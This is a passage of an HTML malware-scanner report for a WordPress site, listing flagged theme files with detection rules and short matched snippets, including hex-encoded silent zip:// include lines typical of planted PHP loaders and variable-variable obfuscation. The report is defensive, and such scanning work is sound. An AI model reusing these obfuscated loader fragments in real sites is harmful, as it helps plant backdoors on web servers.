</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_347").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/page-template-1769473388/includes/settings/top_1769473389.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:23:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:23:31</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_348" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_348").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/page-template-1769473388/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:23:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:23:31</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_349" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_349").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/apress/assets/images/headers/headers/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 374.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_350" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$NtXGn</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x67\x5f\x36\x39\x37\x38\x37\x31\x61\x61\x64\x32\x66\x63\x32\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x61\x61\x64\x32\x66\x63\x32\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_350").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/apress/assets/images/headers/headers/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 428.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_351" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$NtXGn</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_351").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/apress/framework/custom_functions.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 153.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:37</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_352" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #DD0000">"?"</span><span style="color: #007700">.</span><span style="color: #DD0000">">"</span><span style="color: #007700">.</span><span style="color: #0000BB">$html</span><span style="color: #007700">); </span><span style="color: #0000BB">$html</span><span style="color: #007700">=</span><span style="color: #0000BB">ob_get_contents</span><span style="color: #007700">(); </span><span style="color: #0000BB">ob_end_clean</span><span style="color: #007700">(); } return </span><span style="color: #0000BB">$html</span><span style="color: #007700">; } if( ! </span><span style="color: #0000BB">function_exists</span><span style="color: #007700">( </span><span style="color: #DD0000">'apcore_action' </span><span style="color: #007700">) ) : function </span><span style="color: #0000BB">apcore_action</span><span style="color: #007700">() { </span><span style="color: #0000BB">$args </span><span style="color: #007700">= </span><span style="color: #0000BB">func_get_args</span><span style="color: #007700">(); if( !isset( </span><span style="color: #0000BB">$args</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">] ) || empty( </span><span style="color: #0000BB">$args</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">] ) ) { return; } </span><span style="color: #0000BB">$action </span><span style="color: #007700">= </span><span style="color: #DD0000">'apcore_' </span><span style="color: #007700">. </span><span style="color: #0000BB">$args</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]; unset( </span><span style="color: #0000BB">$args</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">] ); </span><span style="color: #0000BB">do_action_ref_array</span><span style="color: #007700">( </span><span style="color: #0000BB">$action</span><span style="color: #007700">, </span><span style="color: #0000BB">$args </span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #DD0000">"?></span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_352").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/front-page-template-1769473210/custom-file-4-1769473210.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:20:33</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:20:33</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_353" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_353").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/front-page-template-1769473210/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:20:33</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:20:33</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_354" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_354").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/twentytwentyfive/patterns/testimonials-large.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 3.38 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:37</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_355" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ls</span><span style="color: #007700">-</span><span style="color: #0000BB">la</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_355").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/twentytwentyfive/patterns/page-business-home.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 784.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-12-02 12:29:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:37</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_356" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 22</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ls</span><span style="color: #007700">-</span><span style="color: #0000BB">la</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_356").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/custom_functions_1769473116/assets/images/custom_file_5_1769473116.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:18:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:18:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_357" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_357").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/custom_functions_1769473116/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:18:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:18:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_358" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_358").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/twentytwentythree/styles/styles/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 366.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_359" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$X</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6d\x70\x67\x5f\x36\x39\x37\x38\x37\x33\x66\x66\x31\x38\x36\x39\x33\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x33\x66\x66\x31\x38\x36\x39\x33\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_359").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/twentytwentythree/styles/styles/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 408.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:55</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_360" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$X</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_360").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/author_template_1769473526/includes/custom_functions_1769473526.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:25:48</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:25:48</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_361" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
